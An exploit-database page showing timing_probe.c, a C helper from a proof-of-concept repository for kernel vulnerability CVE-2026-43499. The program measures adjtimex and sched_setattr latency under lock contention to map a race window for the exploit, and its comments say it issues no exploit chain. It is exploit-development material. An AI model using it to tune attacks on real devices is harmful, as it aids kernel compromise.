Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files22
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

device_probe/timing_probe.c

C · 5,664 bytes
// timing_probe.c -- zero-risk (NO chain walk) timing characterization on real device.
// Measures:
//  PART A: per-call adjtimex_time32(124) kernel-side latency distribution (EPERM but
//          get_old_timex32 copy + do_adjtimex ntp_lock region still execute).
//  PART B: same under ntp_lock contention from H hog threads (target waiter spends most
//          of its in-kernel time spinning irqs-off on ntp_lock AFTER the timex stack copy
//          already overwrote D -> stable irqs-off window).
//  PART C: sched_setattr(380) latency/rc against a NORMAL (non-dangling) thread.
// Build: arm-linux-gnueabihf-gcc -static -O2 -pthread -o timing_probe timing_probe.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>

#ifndef SYS_adjtimex_time32
#define SYS_adjtimex_time32 124
#endif
#ifndef SYS_sched_setattr
#define SYS_sched_setattr 380
#endif

/* compat (32-bit timeval) timex; we just back it with 256 zeroed bytes. */
struct compat_timex {
    int32_t modes, offset, freq, maxerror, esterror;
    int32_t status, constant, precision, tolerance;
    int32_t time_sec, time_usec;
    int32_t tick, ppsfreq, jitter, shift, stabil, jitcnt, calcnt, errcnt, stbcnt, tai;
    int32_t pad[11];
};

struct sched_attr {
    uint32_t size, sched_policy;
    uint64_t sched_flags;
    int32_t  sched_nice;
    uint32_t sched_priority;
    uint64_t sched_runtime, sched_deadline, sched_period;
};

static long g_ns_now(void) {
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC_RAW, &ts);
    return (long)ts.tv_sec * 1000000000L + ts.tv_nsec;
}
static void pin(int cpu) {
    cpu_set_t s; CPU_ZERO(&s); CPU_SET(cpu, &s);
    pthread_setaffinity_np(pthread_self(), sizeof(s), &s);
}
static int cmp_long(const void *a, const void *b) {
    long x=*(const long*)a, y=*(const long*)b;
    return (x>y)-(x<y);
}
static void stats(const char *tag, long *v, long n) {
    qsort(v, n, sizeof(long), cmp_long);
    long long sum=0; for(long i=0;i<n;i++) sum+=v[i];
    long min=v[0], max=v[n-1];
    double mean=(double)sum/n/1000.0; /* us */
    double pc(long p){ return (double)v[(long)((n-1)*p)]/1000.0; }
    printf("%-22s n=%ld min=%.3fus p10=%.3f p50=%.3f p90=%.3f p99=%.3f max=%.3f mean=%.3f\n",
           tag, n, min/1000.0, pc(0.10), pc(0.50), pc(0.90), pc(0.99), max/1000.0, mean);
}

static void do_adj(void) {
    struct compat_timex tx;
    memset(&tx, 0, sizeof(tx));
    tx.modes = 1;
    syscall(SYS_adjtimex_time32, &tx); /* EPERM expected; copy + do_adjtimex run */
}

static volatile int g_hog_run;
struct hog_arg { int cpu; long count; };
static void* hog(void *p) {
    struct hog_arg *a = (struct hog_arg*)p;
    pin(a->cpu);
    long c=0;
    while (g_hog_run) { do_adj(); c++; }
    a->count = c;
    return NULL;
}

static long *g_v;
static void part_adjs(const char *tag, long n, int cpu) {
    pin(cpu);
    /* warmup */
    for (int i=0;i<200;i++) do_adj();
    for (long i=0;i<n;i++) { long t0=g_ns_now(); do_adj(); g_v[i]=g_ns_now()-t0; }
    stats(tag, g_v, n);
}

static void* target_thread(void *p) { (void)p;
    /* normal thread, NO futex PI, just sleep; sched_setattr target */
    struct timespec ts = { 30, 0 };
    nanosleep(&ts, NULL);
    return NULL;
}

int main(int argc, char**argv) {
    long iters = argc>1 ? atol(argv[1]) : 3000;
    int  hogs  = argc>2 ? atoi(argv[2]) : 2;     /* hog count for PART B */
    int  tcpu  = argc>3 ? atoi(argv[3]) : 0;     /* test (waiter) cpu */
    int  hcpu0 = argc>4 ? atoi(argv[4]) : 2;     /* first hog cpu */
    g_v = malloc(sizeof(long)* (iters>1?iters:1));

    int ncpu = sysconf(_SC_NPROCESSORS_ONLN);
    printf("=== timing_probe ncpu=%d iters=%ld hogs=%d tcpu=%d hcpu0=%d ===\n",
           ncpu, iters, hogs, tcpu, hcpu0);

    printf("\n--- PART A: adjtimex baseline (no contention), one core ---\n");
    part_adjs("adj_no_cont", iters, tcpu);

    if (hogs > 0) {
        printf("\n--- PART B: adjtimex under %d ntp_lock hogs ---\n", hogs);
        pthread_t ht[8]; struct hog_arg ha[8];
        g_hog_run = 1;
        for (int i=0;i<hogs && i<8;i++) {
            ha[i].cpu = hcpu0 + i; ha[i].count=0;
            pthread_create(&ht[i], NULL, hog, &ha[i]);
        }
        struct timespec settle = {0, 300*1000000L}; nanosleep(&settle,NULL);
        part_adjs("adj_contended", iters, tcpu);
        g_hog_run = 0;
        for (int i=0;i<hogs && i<8;i++) pthread_join(ht[i],NULL);
        for (int i=0;i<hogs && i<8;i++)
            printf("  hog cpu%d did ~%ld adjtimex\n", ha[i].cpu, ha[i].count);
    }

    printf("\n--- PART C: sched_setattr on a NORMAL thread (must be safe) ---\n");
    pthread_t tt; pthread_create(&tt,NULL,target_thread,NULL);
    long ttid = (long)syscall(SYS_gettid);
    /* target's tid differs; create it and read via a shared var instead */
    (void)ttid;
    /* simpler: measure sched_setattr on self (also normal) */
    pin(tcpu);
    long rc0=0, rc1=0;
    for (long i=0;i<iters;i++){
        struct sched_attr a; memset(&a,0,sizeof(a));
        a.size=sizeof(a); a.sched_policy= (i&1)?3:0; a.sched_nice=0;
        long t0=g_ns_now();
        long r=syscall(SYS_sched_setattr, 0 /*self*/, &a, 0);
        g_v[i]=g_ns_now()-t0;
        if (r==0) { if (i&1) rc1++; else rc0++; }
    }
    stats("sched_setattr_self", g_v, iters);
    printf("  rc ok: SCHED_OTHER=%ld SCHED_BATCH=%ld (errno sample=%d)\n",
           rc0, rc1, errno);
    pthread_join(tt,NULL);
    printf("\n=== DONE (no chain walk was issued) ===\n");
    return 0;
}